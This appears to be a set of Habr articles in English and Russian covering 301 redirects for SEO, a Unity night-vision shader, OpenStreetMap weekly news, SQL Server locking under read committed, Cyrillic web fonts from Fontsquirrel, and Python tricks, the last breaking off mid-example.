<http://www.rapidtables.com/web/tools/redirect-generator.htm>
Just enter your data and get a code for redirection between domains, directories, and URLs.
#### How to test the 301 redirect
With every change in 301 redirect, you need to test the site's performance:
* whether it's working (check the main page);
* go through the main sections and webpages of the site.
### 301 redirect VS Canonical — which one to use & when?
Minor details aside, in order to understand what exactly do we want to say, Google offers some clear-cut rules. In very simple terms, this is how the search engines understand our commands:
**301**: okay, google (or any other search engine), my page isn't there anymore and it's been permanently moved to a new URL. Please, delete the old link from the index, and pass the link juice to the new page.
**Canonical**: okay, google, I've got multiple versions of the same page (or its content), so, please, index only the canonical version. I will keep the other versions for people to see, but don't index them, please, and pass the link juice to the canonical page.
### When is it better to use a 301 redirect?
* This is a preferred method by default;
* For pages, that have beenmoved permanently, or their URLs have been changed;
* For domains, if you've moved your website to the new domain;
* For 404 pages. For example, if a certain product has been deleted from the catalog, you can set up a redirect to a page with a similar product, or to the URL of the product category.
### When is it better to use rel= «canonical»?
* If you can't set up 301 redirects or it won't be time-efficient;
* For duplicate content, if you want to keep both versions (for example, pages with different clothing sizes);
* When you have multiple URLs leading to the same page (catalog categories, pages for tracking the traffic from affiliate links, etc.);
* For cross-domain resource sharing, if you want to transfer data between pages that have different origins (domains, for example).
**To sum it up**
Both solutions pass the link juice and both are ranked by Google equally. 301 redirect is a bit more preferred, though.
### Redirection mistakes
* Redirection chains (avoid them to maximize the speed and the link juice flow of the website);
* Using the wrong type of redirect (to make the right decision, you have to consider all the details);
* Setting up internal redirects without rewriting the URLs of the links. You have to make sure that links on your website don't lead to pages with the redirect;
* Redirecting to irrelevant pages/content. Your links should always lead either to similar pages or to the section of the site that included the requested page;
* The wrong choice of either rel=canonical or 301 direct (see above);
* Redirecting robots.txt (it's better to add the Host directive);
* Any redirect, which doesn't lead to a page with a 200 status code (every link should lead to a properly working page with a 200 status response. Otherwise, don't confuse the crawlers and just show the 404 Error page).
Hopefully, this 301 how-to guide will be your cheat sheet and will help you to use a 301 redirect on your website.
If you have any questions, ask them down below. I will try my best to help you!
Read also:
[Essential on-site SEO factors](https://habr.com/en/post/455768/). | https://habr.com/ru/post/458108/ | null | en | null |
# Имитируем ночное зрение человека в 3D-игре
Сегодня мы будем заниматься постпроцессингом изображения в DirectX.
Как известно, в темноте зрение человека обеспечивается клетками-палочками сетчатки, высокая световая чувствительность которых достигается за счет потери цветочувствительности и остроты зрения (хотя палочек в сетчатке и больше, они распределены по гораздо большей площади, так что суммарное «разрешение» выходит меньше).
Все эти эффекты можно наблюдать самому, оторвавшись от компьютера и выйдя ночью на улицу.
В результате мы получим что-то вроде следующего (*смотреть на весь экран!*):
*До: унылый польский шутер*
[](http://ajenti.org/me/wp-content/uploads/2013/01/SS-before.png)
*После: финалист IGF и лауреат всех наград E3*
[](http://ajenti.org/me/wp-content/uploads/2013/01/SS-After.png)
Подготовка
==========
Первым делом нужно определиться, какого эффекта мы хотим достичь. Я разбил всю обработку на следующие части:
* Потеря цветовосприятия в зонах низкой освещенности
* Потеря четкости зрения там же
* Небольшой шум (там же)
* Потеря четкости зрения на большом расстоянии при средней и низкой освещенности
Реализация
==========
Писать будем под Unity3D Pro, в виде шейдера для постпроцессинга.
Прежде чем приступить непосредственно к шейдеру, напишем небольшой скрипт, выполняющий прогонку экранного буфера через этот самый шейдер:
```
using UnityEngine;
[ExecuteInEditMode]
public class HumanEye : MonoBehaviour
{
public Shader Shader;
public float LuminanceThreshold;
public Texture Noise;
public float NoiseAmount = 0.5f, NoiseScale = 2;
private Camera mainCam;
private Material material;
private const int PASS_MAIN = 0;
void Start ()
{
mainCam = camera;
mainCam.depthTextureMode |= DepthTextureMode.DepthNormals;
material = new Material (Shader);
}
void OnRenderImage (RenderTexture source, RenderTexture destination)
{
material.SetFloat("_LuminanceThreshold", LuminanceThreshold);
material.SetFloat ("_BlurDistance", 0.01f);
material.SetFloat ("_CamDepth", mainCam.far);
material.SetTexture ("_NoiseTex", Noise);
material.SetFloat ("_Noise", NoiseAmount);
material.SetFloat ("_NoiseScale", NoiseScale);
material.SetVector("_Randomness", Random.insideUnitSphere);
Graphics.Blit (source, destination, material, PASS_MAIN);
}
}
```
Здесь мы всего лишь устанавливаем параметры шейдера на заданные пользователем и выполняем перерендеринг экранного буфера через наш шейдер.
Теперь займемся непосредственно делом.
Объявления переменных и констант:
```
sampler2D _CameraDepthNormalsTexture;
float4 _CameraDepthNormalsTexture_ST;
sampler2D _MainTex;
float4 _MainTex_ST;
sampler2D _NoiseTex;
float4 _NoiseTex_ST;
float4 _Randomness;
uniform float _BlurDistance, _LuminanceThreshold, _CamDepth, _Noise, _NoiseScale;
#define DEPTH_BLUR_START 3
#define FAR_BLUR_START 40
#define FAR_BLUR_LENGTH 20
```
Вершинный шейдер — стандартный и не выполняет никаких необычных преобразований. Самое интересное начинается в пиксельном шейдере.
Для начала выберем значение текущего пикселя, и в добавку к нему — «размытое» значение для того же пикселя:
```
struct v2f {
float4 pos : POSITION;
float2 uv : TEXCOORD0;
float2 uv_depth : TEXCOORD1;
};
half4 main_frag (v2f i) : COLOR
{
half4 cColor = tex2D(_MainTex, i.uv);
half4 cBlurred = blur(_MainTex, i.uv, _BlurDistance);
```
Получение «размытого» значения выполняется функцией blur(), которая выполняет выборку нескольких пикселей по соседству с нашим и усредняет их значения:
```
inline half4 blur (sampler2D tex, float2 uv, float dist) {
#define BLUR_SAMPLE_COUNT 16
// сгенерированы абсолютно случайным броском float-кости!
const float3 RAND_SAMPLES[16] = {
float3(0.2196607,0.9032637,0.2254677),
.... еще 14 векторов ....
float3(0.2448421,-0.1610962,0.1289366),
};
half4 result = 0;
for (int s = 0; s < BLUR_SAMPLE_COUNT; ++s)
result += tex2D(tex, uv + RAND_SAMPLES[s].xy * dist);
result /= BLUR_SAMPLE_COUNT;
return result;
}
```
Коэффициент неосвещенности пикселя будем определять через среднюю величину яркости по трем каналам. Коэффициент отсекается по заданному пограничному значению яркости (LuminanceThreshold), т.е. все пиксели светлее этого считаются «достаточно яркими», чтобы их не обрабатывать.
```
half kLum = (cColor.r + cColor.g + cColor.b) / 3;
kLum = 1 - clamp(kLum / _LuminanceThreshold, 0, 1);
```
Зависимость kLum от яркости будет выглядеть примерно так:
Значения kLum для нашей сцены выглядят так (белый — 1, черный — 0):
Здесь хорошо видно, что яркие области (гало фонарей и освещенная трава) имеют kLum равный нулю и наш эффект к ним применяться не будет.
Расстояние от поверхности экрана до пикселя в метрах можно получить из *текстуры глубины* (depth texture, Z-buffer), которая явно доступна при deferred-рендеринге.
```
float depth;
float3 normal;
DecodeDepthNormal(tex2D(_CameraDepthNormalsTexture, i.uv_depth), depth, normal);
depth *= _CamDepth; // depth in meters
```
Коэффициент kDepth будет определять степень размытия темных предметов вблизи, а kFarBlur — всех остальных вдали:
```
#define DEPTH_BLUR_START 3
#define FAR_BLUR_START 40
#define FAR_BLUR_LENGTH 20
half kDepth = clamp(depth - DEPTH_BLUR_START, 0, 1);
half kFarBlur = clamp((depth - FAR_BLUR_START) / FAR_BLUR_LENGTH, 0, 1);
```
Графики обоих коэффициентов от расстояния выглядят одинаково и различаются только масштабом:
Значения kFarBlur:
А теперь — магия! Рассчитываем общий коэффициент размытия пикселя, исходя из предыдущих трех:
```
half kBlur = clamp(kLum * kDepth + kFarBlur, 0, 1);
```
Темные пиксели будут размываться, начиная с расстояния в несколько метров (DEPTH\_BLUR\_START), а удаленные предметы — независимо от освещенности.
Степень потери цвета у нас будет равна степени «неосвещенности» (half kDesaturate = kLum).
Теперь осталось смешать обычный, размытый и черно-белый пиксель и расчитать итоговый цвет:
```
half kDesaturate = kLum;
half4 result = cColor;
result = (1 - kBlur) * result + kBlur * cBlurred;
half resultValue = result;
result = (1 - kDesaturate) * result + kDesaturate * resultValue;
return result;
```
Однако если посмотреть на картинку в динамике — то видно, что чего-то не хватает. Чего? Шумов!
```
half noiseValue = tex2D(_NoiseTex, i.uv * _NoiseScale + _Randomness.xy);
half kNoise = kLum * _Noise;
```
Здесь мы выбираем случайную величину из текстуры \_NoiseTex (заполненную Гауссовым шумом из фотошопа), используя предоставленный скриптом вектор \_Randomness, который будет изменяться на каждом кадре.
Полученное случайное значение подмешиваем в наш пиксель:
```
result *= (1 - kNoise + noiseValue * kNoise);
```
В качестве бонуса — небольшое видео и [сам шейдер](https://gist.github.com/4517834):
**Update**: правильные, человеческие lens flares:
[](http://ajenti.org/me/wp-content/uploads/2013/01/full.png) | https://habr.com/ru/post/165563/ | null | ru | null |
# Новости из мира OpenStreetMap №393 (23.01.2018-29.01.2018)
Визуализация уличной дорожной сети на основе данных OpenStreetMap[1](#393_1) | Изображение [Geoff Being](http://geoffboeing.com/about/)
Карты
-----
* Франсиско Моралес (Franscisco Morales) [написал](https://twitter.com/fcomorales76/status/955136948980469762) в твиттере Monde Geospatial о видео уроке, как загрузить отметки водораздела из OpenStreetMap для ArcGIS.
* Илья Зверев [возродил](https://lists.openstreetmap.org/pipermail/talk/2018-January/080105.html) [OpenWhateverMap](http://openwhatevermap.xyz/), первоначально созданный Grant Slater. Посмотрите на [необычную визуализацию](http://openwhatevermap.xyz/) карты!
* Стиль карты OSM-Carto в следующей версии будет по-разному отображать различные военные зоны, посмотрите [pull request](https://github.com/gravitystorm/openstreetmap-carto/pull/3035) от andrzej-r с его примерами.
switch2OSM
----------
* Компания Niantic [обновил данные](https://www.reddit.com/r/TheSilphRoad/comments/7t2vqw/confirmed_osm_data_up_to_dec_15th_new_walking/) своей карты для PokemonGo и Ingress до состояния на 15 декабря 2017 года. К сожалению, это ещё больше увеличит [вандальные правки](https://www.reddit.com/r/openstreetmap/comments/7tqt9v/saw_this_on_a_facebook_page_looks_like_someone/) в OSM.
Картографирование
-----------------
* Матей Лиесковски (Matej Lieskovský) начал обсуждение [в почтовой рассылке](https://lists.openstreetmap.org/pipermail/tagging/2018-January/thread.html#34986) о том, как следует обрабатывать неразрывные пробелы в теге name. Некоторые языки, в данном случае чешские, имеют правила о том, как имя может отображаться при разбиении на две строки. Вопрос заключается в том, должны ли такие правила применяться непосредственно в данных в базе данных OSM или уже потребителями данных.
* Кристоф Хорманн (Christoph Hormann) [подготовил](http://blog.imagico.de/mapping-imagery-additions/) спутниковые слои частей Антарктики и Западных Альп на основе спутниковых изображений Landsat и Sentinel 2. А также, он спрашивает, подходят ли эти снимки для картирования [leaf\_cycle](https://wiki.openstreetmap.org/wiki/RU:Key:leaf_cycle)(уточняющий тег для типов лесов).
* Скоро OSM редактор Vespucci (для [Android](https://play.google.com/store/apps/details?id=de.blau.android)) будет [поддерживать](https://github.com/MarcusWolschon/osmeditor4android/issues/484) подложку из снимков с сайта [OpenAerialMap](https://openaerialmap.org/).
* Голосование за [предложение](https://wiki.openstreetmap.org/wiki/Proposed_features/Piste:type%3Dconnection) по тегу `piste:type=connection` для соединений между лыжными подъёмниками и трассами открыто до 8 февраля.
* Голосование за предложение по схеме тегирования объектов гидроэнергетики [было приостановлено](https://wiki.openstreetmap.org/wiki/Proposed_features/Hydropower_water_supplies) из-за замечаний.
Сообщество
----------
* Скотт Дэвис (Scott Davies) [твитнул](https://twitter.com/_scottdavies/status/955135767256342529) ссылку на [постер](https://www.zazzle.co.uk/buildings_of_walthamstow_poster-228122654254395844) в котором изображены здания района Walthamstow в Лондоне, он сделал его, используя данные OpenStreetMap в программах QGIS и Inkscape.
* Во Франции [провели картовечеринку](https://vecam.org/La-Fabrique-Numerique-de-Gonesse-cartographier-pour-exister)  в La Fabrique Numerique, муниципалитет Гонесс, где данные были одновременно добавлены в OSM и карты Google.
* Post Mortem III: Рэнди Мич (Randy Meech) написал ещё одно [сообщение](https://mapzen.com/blog/a-letter-just-to-you/) о закрытии Mapzen. В нем есть описание будущего для бывших членов его команды и продуктов Mapzen.
* На Reddit пользователь BeFlatXIII [запустил обсуждение](https://www.reddit.com/r/openstreetmap/comments/7sc8c9/proper_place_tagging_for_townships_and_nested/) о картографировании поселков в Огайо в OpenStreetMap, что привело к появлению несоответствий.
Среди ответов есть соответствующие [ссылки на OSM Wiki](https://wiki.openstreetmap.org/wiki/Ohio/Boundaries/Townships) и на почтовую рассылку для США.
Импорты
-------
* Завершены все подготовительные работы по [плану](https://lists.openstreetmap.org/pipermail/imports/2018-January/005342.html) импорта зданий из испанского кадастра. Импорт начнётся как можно скорее, вначале на Тенерифе и в городе Малага.
* Альберт Пундт (Albert Pundt) [предлагает](https://lists.openstreetmap.org/pipermail/talk-us/2018-January/018301.html) улучшить границы в Пенсильвании, используя данные TIGER 2017. В комментариях рекомендуют использовать «Замену геометрии» из utilsplugin2 плагина для JOSM.
Фонд OpenStreetMap
------------------
* Рабочая группа по лицензированию Фонда OSM [опубликовала FAQ](https://wiki.osmfoundation.org/wiki/Trademark_Policy_FAQ) по недавно принятой Политике товарных знаков вместе с другими [соответствующими документами](https://wiki.osmfoundation.org/wiki/Policies_and_other_Documents).
События
-------
* В настоящее время [открыт приём заявок](https://lists.openstreetmap.org/pipermail/science/2018-January/000001.html) для Научного потока докладов на конференцию [State of the Map 2018](https://blog.openstreetmap.org/2018/01/23/state-of-the-map-2018-academic-track-call-for-abstracts/).
* 14 и 15 апреля в DB-Mindbox в Берлине [будет проходить](https://wiki.openstreetmap.org/wiki/Berlin_Hack_Weekend_April_2018) хакатон по OpenStreetMap. А ещё раньше, уже 17 февраля, компания Geofabrik также [проводит](https://wiki.openstreetmap.org/wiki/Karlsruhe_Hack_Weekend_February_2018) подобный хакатон по OSM в Карлсруэ.
* 3 марта отмечается как День открытых данных. Присоединяйтесь или организуйте у себя подобное мероприятие. Mapbox сделала программу мини-грантов, чтобы помочь местным сообществам поделиться преимуществами открытых данных, особенно в области открытого картографирования. Узнайте больше об этом [по этой ссылке](https://blog.mapbox.com/apply-for-an-open-data-day-mini-grant-b7dce3ad2d53).
* Инфокультура приглашает 3 марта на «[День открытых данных в Москве](https://www.infoculture.ru/2018/01/24/infokultura-priglashaet-na-den-otkrytyh-dannyh-v-moskve/)» пройдёт в пространстве Благосфера. Так же День открытых данных пройдёт в [Санкт-Петербурге](https://te-st.ru/events/data-monitor-hackathon-spb-2018/) и [Казани](http://jourhack.ru/kazan2017).
Гуманитарный OSM
----------------
* Гуманитарная команда HOT [сообщает](https://www.hotosm.org/updates/2018-01-24_community_mapping_in_north_uganda_intrepid_refugees_and_host_community_compare) о проблеме беженцев в Северной Уганде, которых прибывает до 7 000 человек в день, а всего их уже 1,3 миллиона, они бегут от насилия, происходящего над ними в Южном Судане. HOT делает попытки, предоставить оборудование и обучить местных вместе с беженцами создавать и использовать карты для организованного использования питьевых источников.
* Про организации HOT, OpenStreetMap и ThinkWhere (ГИС компания в Шотландии) [упомянули](https://www.theyworkforyou.com/debates/?id=2018-01-24a.284.0&s=OpenStreetMap#g323.0) на парламентских дебатах в Великобритании.
Программирование
----------------
Фредерик Рамм (Frederik Ramm) [предлагает](https://github.com/openstreetmap/openstreetmap-website/issues/1720) ввести функцию в OSM API, которая позволить модераторам переименовывать учётные записи пользователей, которые используют непристойных имена.
Гейдельбергский институт геоинформационных технологий [ищет](http://giscienceblog.uni-hd.de/2018/01/09/open-position-software-developer-osm-routing-services-backend-algorithms/) бэкенд разработчика (Java или C ++). Контракт ограничивается двумя годами.
Участник Nakaner выпустил программу на C++ под названием [PrepDelRels](https://github.com/Nakaner/prepdelrels), которая определяет, какие линии становятся ненужными при удалении отношения. Она основана на исходном коде [Osmium](https://github.com/osmcode/libosmium) быстрой и эффективной библиотеке для обработки данных OpenStreetMap.
Программы
---------
* Вышел [релиз](https://lists.openstreetmap.org/pipermail/talk/2018-January/080110.html) картостиля OSM-Carto версии 4.7.0. Добавлена иконка для `tourism=apartment`, а также теперь отображаются входы в здания. Полный список изменений можно найти [здесь](https://github.com/gravitystorm/openstreetmap-carto/compare/v4.6.0...v4.7.0).
* В выпуске [Mapbox Navigation SDK для iOS v0.13.0](https://github.com/mapbox/mapbox-navigation-ios/releases/tag/v0.13.0) анонсированы возможности по отслеживанию местоположения пользователя на карте в автономном режиме, датская и частично готовая ивритская локализации.
В версии [Mapbox Navigation SDK для Android v0.9.0](https://github.com/mapbox/mapbox-navigation-android/releases/tag/v0.9.0), есть возможность перерасчета марштута в фоновом режиме, усовершенствован вид сигнал о поворотах, добавлены шилды номеров маршрутов и многое другое.
А вы знаете …
-------------
* … о платформе [FacilMap](https://facilmap.org) предназначенной для совместного планирования маршрутов ?
Другие “гео” события
--------------------
* Исторические карты [Mapire](http://mapire.eu) можно сравнивать друг с другом или с современными картами OpenStreetMap, а так же со спутниковыми изображениями Here Aerial.
* На веб-сайте [Колорадо-Конгресс-центра](http://denverconvention.com/attend-an-event/venue-directory-map/) в Денвере, штат Колорадо [имеется](http://blog.concept3d.com/blog/concept3d-powering-colorado-convention-centers-interactive-3d-map) 3D карта внутренних помещений основанная, на данных OpenStreetMap.
* “[Навигация внутри помещений](https://blog.mapbox.com/indoor-navigation-in-ar-with-unity-6078afe9d958) с дополненной реальностью AR и использующая Unity” – сообщение в блоге Mapbox, в котором показано, как использовать SDK Mapbox Maps.
* Компания Here [приобрела](http://www.zdnet.com/article/here-technologies-buys-indoor-maps-provider-micello/) стартап Micello по созданию карт внутри помещений.
* Журнал Microsoft Power User [предполагает](https://mspoweruser.com/is-bing-maps-next-on-the-chopping-block-latest-bing-android-app-update-suggests-yes/), что начало использования API карт Google в приложениях Microsoft предвещает скорый конец Bing Maps.
* На сайте газеты Guardian [сообщают](https://www.theguardian.com/world/2018/jan/28/fitness-tracking-app-gives-away-location-of-secret-us-army-bases) о том, что по карте треков от фитнес-приложения Strava, можно раскрыть расположение секретных баз армии США
* Компания TomTom [прекращает](http://www.bbc.com/news/42859546) предоставлять то, что было продано как «пожизненные» обновления данных для некоторых навигационных устройств (некоторые из них всё ещё в продаже или совсем недавно выпущены). “Anonymaps” шутливо [прокомментировали](https://twitter.com/Anonymaps/status/958010925361004544) это в твиттере.
* Из-за военных учений, с 26 января по 18 февраля, [ожидаются](https://www.flyingmag.com/upcoming-gps-outage-in-western-us-could-mean-back-to-basics) перебои, и проблемы с GPS в западной части США.
* Брайан Рейнхарт (Brian Reinhart) из Dallas Observer [обнаружил](http://www.dallasobserver.com/restaurants/why-are-there-so-many-fake-dallas-restaurants-on-google-10222671), что множество ресторанов, которые не существуют в реальной жизни, присутствуют на Картах Google и в сервисах, которые полагаются на это. Во время его исследований ему было легко создать и удалить ещё один воображаемый ресторан. Он не смог понять, почему такое возможно, хотя, наверное, кому-то просто нравится создавать поддельные данные?
Прошу прощения за возможные опечатки, неработающие ссылки или несуразности.
Если вы заметили проблему — напишите пожалуйста в личку, обязательно исправлю.
Новости [прошедшей недели](https://habrahabr.ru/post/348002/). | https://habr.com/ru/post/348228/ | null | ru | null |
# Read Committed and Updates
По материалам статьи Craig Freedman: [Read Committed and Updates](https://docs.microsoft.com/en-us/archive/blogs/craigfr/read-committed-and-updates)
Проведём эксперимент. Начнем с создания следующей простой схемы:
```
create table t1 (a int, b int)
create clustered index t1a on t1(a)
insert t1 values (1, 1)
insert t1 values (2, 2)
insert t1 values (3, 3)
create table t2 (a int)
insert t2 values (9)
```
В сеансе 1 заблокируем третью строку таблицы t1:
```
begin tran
update t1 set b = b where a = 3
```
Далее в сеансе 2 посмотрим spid сессии (он позже понадобится), и выполним представленное ниже изменение на уровне изоляции по умолчанию read committed:
```
select @@spid
update t1 set t1.b = t1.b
where exists (select * from t2 where t2.a = t1.b)
```
Для это изменения оптимизатор выберет следующий план запроса:
|–Clustered Index Update(OBJECT:([t1].[t1a]), SET:([t1].[b] = [t1].[b]))
……|–Top(ROWCOUNT est 0)
…………|–Nested Loops(Left Semi Join, WHERE:([t2].[a]=[t1].[b]))
………………|–Clustered Index Scan(OBJECT:([t1].[t1a]))
………………|–Table Scan(OBJECT:([t2]))
Чтобы узнать, нужно ли изменять строку, в этом плане выполняется просмотр таблицы t1 и каждой строки в таблице t2. Просмотр получает U блокировку на каждую строку t1. Если строка изменяется, уровень блокирования поднимается до X-блокировки. Если строка не изменяется, просмотр снимает со строки блокировку, поскольку у этой сессии используется режим изоляции read committed.
У нас в первом сеансе удерживается блокировка на третьей строке таблицы t1, из-за этого изменение её будет заблокировано, когда просмотр таблицы t1 дойдёт до третьей строки. В этот момент можно посмотреть, какие блокировки удерживает второй сеанс, выполнив следующий запрос в первом или любом другом сеансе:
```
select resource_type, request_mode, request_type, request_status
from sys.dm_tran_locks
where request_session_id =
```
```
resource_type request_mode request_type request_status
------------- ------------ ------------ --------------
DATABASE S LOCK GRANT
OBJECT IS LOCK GRANT
KEY U LOCK WAIT
PAGE IU LOCK GRANT
OBJECT IX LOCK GRANT
```
Как и ожидалось, мы видим только одну находящуюся в ожидании U-блокировку.
Далее во втором сеансе проверим, что изменения невозможны, выполнив следующую инструкцию:
```
update t1 set t1.a = t1.a
where exists (select * from t2 where t2.a = t1.b)
```
Обратите внимание, что в этот раз мы вносим изменения в ключ кластеризованного индекса. Изменение ключа кластеризованного индекса может привести к перемещению строк в дереве индекса. Для предотвращения повторного изменения строки во время того же самого просмотра (что было бы неправильно), SQL Server должен добавить блокировку между просмотром и обновлением таблицы t1. Это требование принято называть: «Halloween protection». И действительно, новый план выглядит теперь так:
|–Clustered Index Update(OBJECT:([t1].[t1a]), SET:([t1].[a] = [t1].[a]))
……|–Top(ROWCOUNT est 0)
…………|–Sort(DISTINCT ORDER BY:([t1].[a] ASC, [Uniq1002] ASC))
………………|–Nested Loops(Inner Join, WHERE:([t2].[a]=[t1].[b]))
……………………|–Clustered Index Scan(OBJECT:([t1].[t1a]), ORDERED FORWARD)
……………………|–Table Scan(OBJECT:([t2]))
Изменение накладывает блокировку повторно. Давайте теперь проверим, какие блокировки удерживаются, для чего взглянем на показанный выше запрос в динамическом административном представлении sys.dm\_tran\_locks:
```
resource_type request_mode request_type request_status
------------- ------------ ------------ --------------
DATABASE S LOCK GRANT
OBJECT IS LOCK GRANT
KEY U LOCK WAIT
KEY U LOCK GRANT
KEY U LOCK GRANT
PAGE IU LOCK GRANT
OBJECT IX LOCK GRANT
```
На этот раз мы видим, что предоставлены две U-блокировки. Как же это происходит? Разве эти блокировки не должны были быть сняты после того, как мы запускаем просмотр с read committed? Не так быстро! Если в плане используется оператор сортировки, он накладывает блокировку строки до завершения просмотра, не допуская её изменения. Если бы SQL Server просто снимал каждую U-блокировку со строк, когда просмотр t1 их освобождал, ни одна из этих строк не была бы заблокирована при начале выполнения изменений. Без каких-либо дополнительных блокировок другой сеанс сможет «проскользнуть» и изменить строки, которые уже были просмотрены и которые были изменены по плану запроса. Подобное допущение другому сеансу изменять эти строки может привести к неверным результатам и порче данных. Поэтому SQL Server удерживает эти блокировки до тех пор, пока не завершится выполнение инструкции (но не транзакции). | https://habr.com/ru/post/662794/ | null | ru | null |
# Шрифтомания от fontsquirrel. Рядовая логика работы со шрифтами при верстке сайта
Небольшой рассказ о том, как корректно генерировать font для рунета. В центре внимания известный уже на Хабре буржуйский сервис [fontsquirrel](http://www.fontsquirrel.com/).
Если красота должна спасти мир, то дизайнеры web интерфейсов — это армия зла. Ни поймите меня не верно, сам считаю себе web дизайнером, и не могу перенести криворуких верстальщиков, приходится верстать свои же psd-изыскания, такими же кривыми руками. И тут начинается самое интересно…
Как все на практике:
1. Первым делом все упирается в выбор нужного шрифтового стека для рунета, и если бы не [это](http://www.xiper.net/collect/html-and-css-tricks/typographics/safe-fonts-part3.html), то пришлось держать в уме. Выбрав нужный стек скармливаем его body, примерно так:
`body{
font-family: "Arial Black", "Helvetica CY", "Nimbus Sans L" sans-serif;
font-size:12px;
}`
На выходе получаем базовый шрифт, приближенный к тому, что мы используем в нашем дизайн макете. Отлично!
2. Довольные своей оперативностью внимательно смотрим дизайн-макет работы и местами (то ли в меню, то ли в футере) видим популярный, практически у всех полиграфистов: *Myriad Pro, Arial Narrow* или еще какой-нибудь *Europe* из StarCraft. Сразу в голову приходят три варианта: заменить картинками, поставить JS (ага, тот самый который [cufon](http://cufon.shoqolate.com/generate/)) ну или в очередной раз прикоснуться к CSS свойству @font-face. Да, мысль отказаться от исчадия вселенского масштаба и использовать безопасный стек повсеместно у нас конечно же не возникает — мы, что называется, «воплощаем» красоту в жизнь.
Первый вариант, пришедший на ум — заменить все на png — мы откидываем сразу, так делали наши прадеды еще на заре палеолита;
Второй вариант (cufon.js) не устраивает нашего заказчика, дай Бог ему здоровья — нашелся на земле один трезвомыслящий клиент; — поэтому переходим к пункту три.
3. Выискиваем из недр Windows 7 нужный нам шрифт по такому следу: «Пуск → Панель управления → Шрифты», копируем в локальную папку на компе с проектом и открываем font генератор [fontsquirrel](http://www.fontsquirrel.com/). В моем случае — MyriadProCondensed.
На удачу кликаем по кнопкам и получаем готовое css свойство из серии:
`@font-face {
font-family: 'MyriadProCondensed';
src: url('myriadpro_cond-webfont.eot');
src: url('myriadpro_cond-webfont.eot?#iefix') format('embedded-opentype'),
url('myriadpro_cond-webfont.woff') format('woff'),
url('myriadpro_cond-webfont.ttf') format('truetype'),
url('myriadpro_cond-webfont.svg#MyriadProCondensed') format('svg');
font-weight: normal;
font-style: normal;
}`
Также получаем в архиве для скачки пример того, как будет выглядеть наш шрифт в браузерах. И все бы ничего, но полученный результат не работает так, как нам надо. И вроде же поставили **EXPERT…** в настройках, и даже по выбирали какие-то галочки — но все равно эффекта нет — русские буквы не хотят становится MyriadProCondensed.
Я гуглил два дня, первым делом открыл Хабр, откуда собственно и узнал о сервисе, спасибо [Terion](https://habrahabr.ru/users/terion/), ничего не нашел по этому вопросу и продолжил «гуглить» настроение. Спустя два дня настроение появилось и начал разбирать сервис [www.fontsquirrel.com](http://www.fontsquirrel.com/) по полочкам, а именно искать там локализацию кириллицы.
4. Нашел! Всего то надо было поставить «радиобатон» в **Subsetting** на позицию **Custom Subsetting**. В выпавшем содержание сета установить галочку **Language** на позиции **Cyrillic**.
5. Ура заработало. Идем пить кофеёк. Все спасибо за терпение.
P.S. Переубеждать вас делать верстку/интерфейс безопасными стеками, даже не буду. Пусть это будет на нашей совести, но знаю одно, пока эта шрифтомания существует — мир медленно, но уверено катится в пропасть. Ничего красивого в том, что шрифт с экрана монитора невозможно прочитать — нет! | https://habr.com/ru/post/138747/ | null | ru | null |
# Python-неизвестный
На Хабре уже есть несколько статей\переводов, в которых рассказывается о неизвестных фичах\тонкостях\возможностях Пайтона. Я буду пытаться не повторять их, а дополнять, но если уж так случилось, что вы это уже где-то видели — не огорчайтесь. Я уверен, что найдется что-то интересное и для вас.
Итак, поехали.
##### Цепочки операторов сравнения (chaining comparison):
```
>>> 1 < 5 < 10
True
>>> 1 < 11 < 10
False
>>> 1 < 11 > 10
True
```
Правда и то, что вся магия поломается если добавить скобки:
```
>>> (1 < 11) > 10
False
```
[Дока](http://docs.python.org/reference/expressions.html#notin)
##### iter и два параметра
Built-in функция *iter* возвращает итератор для переданной последовательности. Но, если передавать два параметра, то первый должен быть callable-объектом, а второй — результатом вызова первого объекта, при котором нужно прекратить итерацию. Например, читаем из файла до первой пустой строки:
```
with open('mydata.txt') as fp:
for line in iter(fp.readline, ''):
process_line(line)
```
[Дока](http://docs.python.org/library/functions.html#iter)
##### contextlib
Позволяет легко и красиво пользоваться синтаксисом *with EXPR as VAR* для своих собственных объектов, функций и т.д. Пример из документации:
```
from contextlib import contextmanager
@contextmanager
def tag(name):
print "[%s]" % name
yield
print "[/%s]" % name
>>> with tag("h1"):
... print "foo"
...
[h1]
foo
[/h1]
```
[Дока](http://docs.python.org/library/contextlib.html), [PEP 343](http://www.python.org/dev/peps/pep-0343/)
##### Аргументы по умолчанию
Здесь несколько «хаков». Во первых, использование изменяемых (mutable) объектов в качестве аргументов по умолчанию — почти всегда плохая идея:
```
>>> def foo(a=list()):
... a.append(1)
... print a
...
>>> foo()
[1]
>>> foo()
[1, 1]
>>> foo()
[1, 1, 1]
```
Почему так? Значения агрументов по умолчанию определяются только раз при создании функции и сохраняются в свойстве *func\_defaults*:
```
>>> foo.func_defaults
([1, 1, 1],)
```
Но есть в довесок и полезный рецепт. Следующий код работает не совсем так, как ожидается:
```
>>> l = []
>>> for i in range(3):
... l.append(lambda: i * 2)
...
>>> for x in l:
... x()
...
4
4
4
```
Поправить его можно просто и элегантно — достаточно заменить *lambda: i \* 2* на *lambda i=i: i \* 2*:
```
>>> l = []
>>> for i in range(3):
... l.append(lambda i=i: i * 2)
...
>>> for x in l:
... x()
...
0
2
4
```
О именах и привязке к ним можно почитать в [Execution Model](http://docs.python.org/reference/executionmodel.html).
##### Ellipsis
В зависимости от контекста *...* (три точки) может быть допустимым синтаксисом. Так, *list[...]* передает в функцию *\_\_getitem\_\_* объект типа *Ellipsis* — единственный и неповторимый в своем роде. Демонстрация:
```
>>> class L(list):
... def __getitem__(self, *args):
... print args
... return list.__getitem__(self, *args)
...
>>> l[...]
(Ellipsis,)
Traceback (most recent call last):
File "", line 1, in
File "", line 4, in \_\_getitem\_\_
TypeError: list indices must be integers, not ellipsis
```
Используется эта прелесть в [Numpy](http://www.scipy.org/Tentative_NumPy_Tutorial#line-355).
##### Обмен значениями переменных
В 10-ом классе нам на уроке информатике предлагали задачку — обменять местами значения двоих переменных, не используя третью. В Пайтоне это даже не вопрос:
```
>>> a = 10
>>> b = 5
>>> a, b
(10, 5)
>>> a, b = b, a
>>> a, b
(5, 10)
```
##### Вложенные list comprehensions
В list comprehensions можно использовать несколько *for*:
```
>>> l = [[1,2,3], [4,5,6]]
>>> [lll * 2 for ll in l for lll in ll]
[2, 4, 6, 8, 10, 12]
```
##### Создание нескольких изменяемых объектов
Например, надо создать список из 5 списков. Хочется сделать так:
```
>>> l = [[]] * 5
>>> l
[[], [], [], [], []]
```
Но нельзя:
```
